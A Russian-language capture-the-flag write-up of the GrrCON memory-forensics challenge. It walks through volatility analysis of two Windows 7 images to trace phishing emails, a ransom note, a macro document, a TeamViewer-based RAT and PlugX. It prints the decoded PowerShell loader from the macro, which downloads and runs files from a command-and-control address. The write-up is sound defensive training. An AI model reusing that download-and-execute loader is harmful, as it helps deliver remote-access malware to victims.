Подготовка.

Хорошо подготовленный стенд – залог успеха в расследовании и анализе, поэтому начинаем с этапа подготовки. Установим ОС с уже необходимыми утилитами для расследования компьютерных инцидентов: SIFT (от института SANS, используйте VPN, друзья). После загрузки открываем в VMware или VBox.

Устанавливаем и заходим на SIFT (пароль от УЗ forensics), на этом этап подготовки не закончен, загрузим на SIFT архив из задания (GrrCON) от cyberdefenders.org (в архиве содержатся образы виртуальных машин) и после распаковки, сделаем экспорт месторасположения образа и профиля исследуемой операционной системы (профиль можно найти с использованием плагинов volatility imageinfo или kdbgscan) в переменные окружения, чтобы в дальнейшем не писать каждый раз эти аргументы:

 export VOLATILITY_LOCATION=file:///home/sansforensics/Desktop/GrrCon/ecorpoffice/win7ecorpoffice2010-36b02ed3.vmem
export VOLATILITY_PROFILE=Win7SP1x64

На этом с этапом подготовки заканчиваем и приступаем непосредственно к анализу.
В ходе анализа двух образов виртуальной машины *.vmem, нам предлагают ответить на 16 вопросов, связанных с инцидентами на виртуальных машинах c ОС Windows7x64.

Работать мы будем с уже предустановленной в SIFT утилитой для анализа дампов оперативной памяти volatility и дополнительными утилитами readpst для анализа *.pst файлов, olevba для анализа malware documents с проектами VBA, mactime из набора TheSleuthKit для парсинга таблицы $mft, clamscan опенсорсным антивирусным движком.

Расследование в первом файле виртуальной машины.

Вначале посмотрим, какие процессы запущены на первом скомпрометированном хосте при помощи плагина pslist(Рисунок 1). Для этого, выполним команду:

vol.py pslist
Рисунок 1 – список запущенных на хосте процессов в режиме реального времени.
Рисунок 1 – список запущенных на хосте процессов в режиме реального времени.

Давайте более детально посмотрим на дерево родительских и дочерних процессов, а также директории, откуда процесс был запущен (плагин pstree с флагом -v). Результат на рисунке 2.

Рисунок 2 – Вывод pstree -v.
Рисунок 2 – Вывод pstree -v.

Можно заметить две интересных особенности для процесса SkypeC2AutoUpdate.exe (PID 1364):

  1. Путь из которого он был запущен (часто вредоносы запускаются из пользовательской директории %TEMP %).

  2. Отсутствие информации о родительском процессе 2528.

Гугл сказал, что у Dr.WEB в анализе трояна, использовался процесс с наименованием SkypeC2AutoUpdate.exe. Но пока рано делать выводы. Соберём чуть больше информации об учетной записи из под которой запустили процесс(рисунок 3):

vol.py getsids -p 1364
Рисунок 3 – получение информации о SIDS пользователей, запустивших процесс.
Рисунок 3 – получение информации о SIDS пользователей, запустивших процесс.

На рисунке 3 мы видим, что процесс запущен из под пользователя phillip.price, который входит в доменную группу и запустил процесс после входа через консоль.

Не менее интересными будут и сетевые соединения. Чтобы их посмотреть, воспользуемся командой:

vol.py netscan
Рисунок 4 – соединения и процессы, породившие их.
Рисунок 4 – соединения и процессы, породившие их.

Видно сторонние IPv4 и порты подключения, для процессов:

  • SkypeC2AutoUpdate.exe: 54.174.131.235:80, 120.122.236.3;

  • OUTLOOK.EXE: 66.147.240.99:993, 64.4.26.155:80.

В 5 вопросе задания нас просят указать e-mail отправителя фишингового письма (What was the sender's email address that delivered the phishing email?), найдём файлы с расширением *.eml или *.pst (такое расширение имеют файлы Outlook и Microsoft Exchange, могут содержать как сами письма, так и папки, контакты, адреса, вложения и.т.д).

В первом случае для *.eml файлов поиск результатов не дал, а вот во втором мы получаем несколько файлов с расширением pst.
Команда для поиска (результат на рисунке ниже):

vol.py filescan | grep pst$

Сдампим файлы по имени, в специально созданную директорию pst2:

vol.py dumpfiles -n -i -r phillip.price@e-corp.biz.pst$ -D pst2 

А теперь приступим к анализу файлов. Для этого воспользуемся утилитой readpst с флагом -S (подробнее):

readpst -S file.2692.0xfffffa80042dcf10.phillip.price@e-corp.biz.pst.dat

Как мы видим, во входящих было сохранено 13 элементов, среди которых письма и вложение, в нашем случае вложение из письма №13, поэтому начинается так: 13-bank_statement_088452.doc. Давайте выведем на экран содержимое писем. (рисунок 7 и 8)

Рисунок 7 – отправитель письма с вложением.
Рисунок 7 – отправитель письма с вложением.
Рисунок 8 – текст и наличие вложения (attachment’a) с его названием.
Рисунок 8 – текст и наличие вложения (attachment’a) с его названием.

На рисунках видно, кто отправитель письма с вложением karenmiles@t-online.de – ответ на 5 вопрос (What was the sender's email address that delivered the phishing email?) (на рисунке 8 показано наличие вложения Content-Disposition: attachment).

Также не поленимся просмотреть другие письма и в письме №12 обнаружим интересное содержимое (рисунок 9) с шантажем (темой Ransom request) и требованием направить 5 биткоинов на кошелёк по адресу 25UMDkGKBe484WSj5Qd8DhK6xkMUzQFydY (ответ на №7 вопрос What is the bitcoin wallet address that ransomware was demanded?), иначе будет осуществлена DDoS атака:

Рисунок 9 – требование о выкупе из письма №12.
Рисунок 9 – требование о выкупе из письма №12.

Теперь давайте изучим содержимое документа 13-bank_statement_088452.doс из письма, для этого используем одну из набора утилит oletools:

olevba phillip.price@e-corp.biz/Inbox/13-bank_statement_088452.doс
Рисунок 10 – VBA скрипт в документе 13-bank_statement_088452.doс.
Рисунок 10 – VBA скрипт в документе 13-bank_statement_088452.doс.

После просмотра содержимого документа, можно отметить, что имеются:

  1. Функция Img_Painted (типа AutoExec), которая отрабатывает после открытия документа.

  2. Подозрительные функции Open, Run(UsoJar,0), CreateObject и закодированное содержимое.

Рисунок 11 – VBA code snippet.
Рисунок 11 – VBA code snippet.

Как мы заметили, выполняется функция Run(UsoJar,0), давайте разберёмся, что выполняется в данной функции (запуск которой видно на рисунке 11, и она же является ответом на вопрос 10 What Public Function in the word document returns the full command string that is eventually run on the system?). Итак, после небольшого дебага, мы получаем из содержимого функции следующее:

powershell -ep bypass -nop -encodedCommand ZgBvAHIAZQBhAGMAaAAgACgAJABpACAAaQBuACAAQAAoACIAUwBrAHkAcABlAEMAMgBBAHUAdABvAFUAcABkAGEAdABlAC4AZQB4AGUAIgAsACIAVABlAGEAbQBWAGkAZQB3AGUAcgBfAEQAZQBzAGsAdABvAHAAL…<code snippet>…HYAOgBUAEUATQBQ 

Видно, что выполняются закодированные в base64 командлеты в обход Execution Policy, аналогичную технику использовала APT Kimsuky в малдоках 2022 года, разборы других документов APT можно найти здесь. После декодирования через base64 -d:

echo "ZgBvAHIAZQBhAGMAaAAgACgAJABpACAAaQBuACAAQAAoACIAUwBrAHkAcABlAEMAMgBBAHUAdABvAFUAcABkAGEAdABlAC4AZQB4AGUAIgAsACIAVABlAGEAbQBWAGkAZQB3AGUAcgBfAEQAZQBzAGsAdABvAHAAL…<code snippet>…HYAOgBUAEUATQBQ" | base64 -d 

Мы получим, собственно, сами командлеты:

foreach ($i in @("SkypeC2AutoUpdate.exe","TeamViewer_Desktop.exe","TeamViewer_Resource_en.dll",
"avicap32.dll","tv_w32.dll","tv_w32.exe","tv_x64.dll","tv_x64.exe","tvr.cfg","vpn.exe"))
{
(New-Object System.Net.WebClient).DownloadFile("http://54.174.131.235/files/$i", "$env:temp/$i")
};
Start-Process -FilePath "$env:TEMP/SkypeC2AutoUpdate.exe" -WorkingDirectory "$env:TEMP

Среди которых массив из имён файлов: SkypeC2AutoUpdate.exe, TeamViewer_Desktop.exe и.др, которые загружаются с сервера http://54.174.131.235/files/$i (этот адрес мы уже видели на рисунке 4 когда просматривали подключения и он же является ответом на вопрос №2 What is the C2 server IP address?,  в папку %TEMP%, как мы уже также ранее с вами подметили на рисунке 2, а после запускается и сам процесс (с вредоносным кодом) SkypeC2AutoUpdate.exe (это ответ на 1-й вопрос: What is the PID the malicious file is running under?)???? 

Сам процесс SkypeC2AutoUpdate.exe – является вполне легитимным, однако одна из библиотек avicap32.dll, которая также дропается в директорию %TEMP%  с этим же процессом и код из которой он импортирует содержит вредоносный код (атака DLL Side-Loading).

Проверка avicap32.dll на VT.
Проверка avicap32.dll на VT.

На следующем этапе сдампим процесс в памяти SkypeC2AutoUpdate.exe чтобы внимательно изучить его содержимое в памяти, для этого выполним команду:

vol.py memdump -p 1364 -D .

После чего поищем запросы к серверу:

strings -a 1364.dmp | grep -A4 "54.174.131.235"
Рисунок -13 поиск связи с C2 сервером.
Рисунок -13 поиск связи с C2 сервером.

В запросе, кроме имени пользователя и хоста, мы можем увидеть ID (ответ на 8 вопрос What is the ID given to the system by the malicious file for remote access?) и версию TeamViewer, которая является ответом на вопрос №3 What is the Teamviewer version abused by the malicious file?

Сразу скажу, что экспорт пакетов и анализ в шарке исчерпывающей информации не предоставил, кроме самих запросов к серверу 54.174.131.235, поэтому пошли путём выше, через поиск запросов в дампе процесса.

Изменив кодировку для утилиты strings, выполним аналогичный поиск:

string -el 1364.dmp | grep -A10 -B10 "54.174.131.235"

После мы также найдём пароль, который передавался в качестве одного из аргументов и заодно ответим на 4 вопрос: What password did the malicious file use to enable remote access to the system? (рис 14).

Рисунок 14 – пароль, переданный при запуске процесса SkypeC2AutoUpdate.
Рисунок 14 – пароль, переданный при запуске процесса SkypeC2AutoUpdate.

Без ответа в первой части остался только вопрос №9: What is the IPv4 address the actor last connected to the system with the remote access tool?

И чтобы на него ответить, проанализируем дамп процесса 1364 с паттерном для поиска всех IP адресов и ключевому слову teamviewer:

strings -a 1364.dmp | grep -A3 -B3 -E '([0-9]{1,3}\.[0-9]{1,3}\.)[0-9]{1,3}\.[0-9]{1,3}' | grep -A3 -B3 teamviewer
Рисунок 15 – IP адрес RAT (remote access tool).
Рисунок 15 – IP адрес RAT (remote access tool).

Возможно, кто-то из читателей знает ещё приёмы поиска подключений RAT, например: где в структуре EPROCESS хранится подобная информация? Буду рад дельным советам =)

Анализ второго образа виртуальной машины.

У нас ещё 6 вопросов и ответы на них находятся во втором образе ecorpwin7.vmem. Поэтому, прежде чем приступить к анализу, заменим расположение нашего образа в переменной окружения:

 export VOLATILITY_LOCATION=file:///home/sansforensics/Desktop/GrrCon/ecorpwin7/ecorpwin7-e73257c4.vmem

Профиль подойдёт прежний Win7x64SP1.

Посмотрим поверхностно на запущенные процессы и их timestamps, родителей, аргументов и другие параметры, используя плагины:

  • pslist - читает _EPROCESS double linked список;

  • psscan – считывает структуры _EPROCESS, отображает завершённые процессы, иногда помогает находить руткиты;

  • pstree – отображает дерево процессов, родителей и дочерние процессы, с флагом -v (от verbose) выводит аргументы, с которыми был запущен тот или иной процесс. Для удобства просмотра можно вывести в виде графа указав тип вывода dot (по дефолту установлен text):
    --output=dot --output-file=pstree.dot (результат на рисунке 16).

    Рисунок 16 – Фрагмент дерева процессов.
    Рисунок 16 – Фрагмент дерева процессов.

Просматривая информацию о процессах, мы увидим запущенные процессы Outlook.exe (попробуем поискать файлы *eml *.pst), а также процессы rundll32.exe (служат для запуска *.dll файлов) родителем которых является svchost.exe, эти процессы запускаются с аргументами: путь до библиотеки test.dll и другими аргументами (подчёркнуты красным), которые принимает запущенная библиотека (vol.py pstree -v):

Рисунок 17 – аргументы rundll32.exe.
Рисунок 17 – аргументы rundll32.exe.

Заодно посмотрим информацию о сетевых соединениях:

vol.py netscan

Обратите внимание, что процесс svchost.exe (PID: 288), который является родителем "rundll32.exe test.dll GnrkQr 2" открывал соединение с сервером по адресу 52.90.110.169 порт 80. (этот адрес – ответ на вопрос №14 What is the IP address of the c2 server for the malicious file?).

Ранее мы выяснили, что запущен Outlook.exe, и поэтому произведём поиск и дамп файлов *.pst, команды аналогичные выполняемым командам в первом файле виртуальной машины:

vol.py filescan | grep pst$
vol.py dumpfiles -n -i -r Outlscott.knowles@e-corp.biz-00000004.pst$ -D .
readpst -S file.2496.0xfffffa80034e9850.Outlscott.knowles@e-corp.biz-00000004.pst.dat 

Мы видим, что почту scott.knowles@e-corp.biz приходили довольно интересные письма (на рисунках ниже), среди которых письмо с файлом Important_ECORP_Lawsuit_Washington_Leak.rtf от некого lloydchung@allsafecybersec.com (ответ на вопрос №15 What is the email address that sent the phishing email?)

Рисунок 18 – письмо с вложением.
Рисунок 18 – письмо с вложением.

Из интересного также - пересланное письмо от phillip.price@e-corp.biz (мы уже анализировали ранее на рисунке 9), который переслал письмо с шантажем требованием о выкупе в 5 биткоинов и высказал своё "негодование" нашему scott.knowles@e-corp.biz с "просьбой" во всём разобраться.

Пересланное письмо с требование заплатить выкуп и комментарием от phillip.price.
Пересланное письмо с требование заплатить выкуп и комментарием от phillip.price.

Двигаемся дальше, в 11 вопросе нас просят посчитать хэш сумму файла Important_ECORP_Lawsuit_Washington_Leak.rtf из письма, но забегая вперёд, скажу, что файл битый если извлекать его из *pst.

Битый файл (просмотр при помощи xxd)
Битый файл (просмотр при помощи xxd)

Чтобы дать верный ответ, пришлось найти данный файл в памяти, сдампить и посчитать хэш сумму, но прежде удалить нулевые байты в конце:

vol.py filescan | grep rtf$
vol.py dumpfiles -Q 0x000000007d6b3850 -D .
sed 's/\x0//g' file.None.0xfffffa80040b3260.dat > Important_ECORP_Lawsuit_Washington_Leak.rtf

И после посчитать MD5 hash чтобы ответить на вопрос:
00e4136876bf4c1069ab9c4fe40ed56f

Рисунок 19 – хэш документа из письма.
Рисунок 19 – хэш документа из письма.

После сканирования файла Important_ECORP_Lawsuit_Washington_Leak.rtf опенсорсным антивирусным движком clamscan видно, что в файле найден эксплойт CVE_2010_3333-5.

На рисунке 17 мы заметили, что запускается библиотека test.dll с параметрами GnrkQr 2. Давайте сдампим библиотеку в директорию maldll:

vol.py dumpfiles -n -i -r test.dll -D maldll

После также просканируем полученные файлы опенсорсным антивирусным движком clamscan с флагом -r (рисунок 20)

Рисунок 20 – сканирование файлов с использованием движка clamscan.
Рисунок 20 – сканирование файлов с использованием движка clamscan.

Clamscan нашёл Win.Malware.Korplug-6 в нашей библиотеке. На malpedia можно найти описание этого Remote Access Trojan (RAT), а также его наиболее распространённое наименование PlugX (ответ на 12 вопрос: What is the common name of the malicious file that gets loaded?).

Ищем артефакты в Master File Table.

Чтобы ответить на вопрос №13 (What password does the attacker use to stage the compressed file for exfil?) посмотрим какие файлы недавно создавались и поищем среди них файлы архивов с расширением .rar|.zip|.7z|.gzip. Искать недавно созданные файлы мы будем в таблице $mft (Master File Table – сердце файловой системе NTFS, эта таблица хранит информацию о времени создания файла (Birthday of file), времени изменения атрибутов $Data & $Index (Modified), изменение записи в таблице $mft (Сhange in mft) и время последнего обращения к содержимому файла (Accessed), а также флагах удаления, размере и много других атрибутов, но в этой статье нам понадобится время) итого:

MACBModified, Accessed, Change, Birthday of file. Эти данные предоставляют важные временные метки, о которых я сказал ранее. Если погружаться глубже, временные метки хранятся в атрибутах: $Standard Information & $File Name, в каждом по 4 MACB. Когда файл создаётся, изменяются все 4 метки у обоих атрибутов. Здесь я рассказывать подробно о файловой системе NTFS и её особенностях не буду, думаю выйдет отдельная статья, посвящённая ей и восстановлению удалённых файлов.
Давайте первым делом сдампим $mft из памяти, но не в текстовом формате (его сложно обрабатывать), а в формате body:

vol.py mftparser --output=body -D . --output-file=grrcon_mft.body

Особенность этого формата заключается в том, что его поддерживает утилита mactime из SleuthToolKit. Теперь, давайте выведем последние 1000 строк с использованием данной утилиты, а также отфильтруем: строки с записью NULL, оставим только строки с macb (т.к. как упомянул выше, когда файл создается меняются все 4 временные метки), MFT STD_INFO и расширением «rar|zip|7z|gzip»:

mactime -b grrcon_mft.body -d -z UTC | tail -1000f | egrep -v 'NULL' | egrep 'macb' | egrep 'MFT STD_INFO' | egrep 'rar|zip|7z|gzip'

Из вывода команды следует, что файл reports.rar был создан 05.10.2016 в 03:00:25 по UTC. Поищем команды на создание файла в дампе:

strings -el ecorpwin7-e73257c4.vmem | egrep -A5 -B5 'reports.rar'

Пароль мы нашли, а ещё мы узнали, что файл в конце удалили, поэтому искать его с использованием плагина filescan в дампе памяти смысла не было.

Чтобы ответить на последний вопрос №16 (What is the name of the deb package the attacker staged to infect the E Coin Servers?) я поискал пакеты с расширением *.deb в дампе:

strings -el ecorpwin7-e73257c4.vmem | egrep -A5 -B5 '.deb'

Заключение

Вот и всё, друзья. Статья получилась большая, хотел осветить некоторые важные на мой взгляд вопросы, поэтому, кто дочитал, тот молодец! =)

Буду рад, если информация окажется для вас полезной. Другие статьи, WriteUp’ы и полезные утилиты можно найти здесь.

Комментарии (0)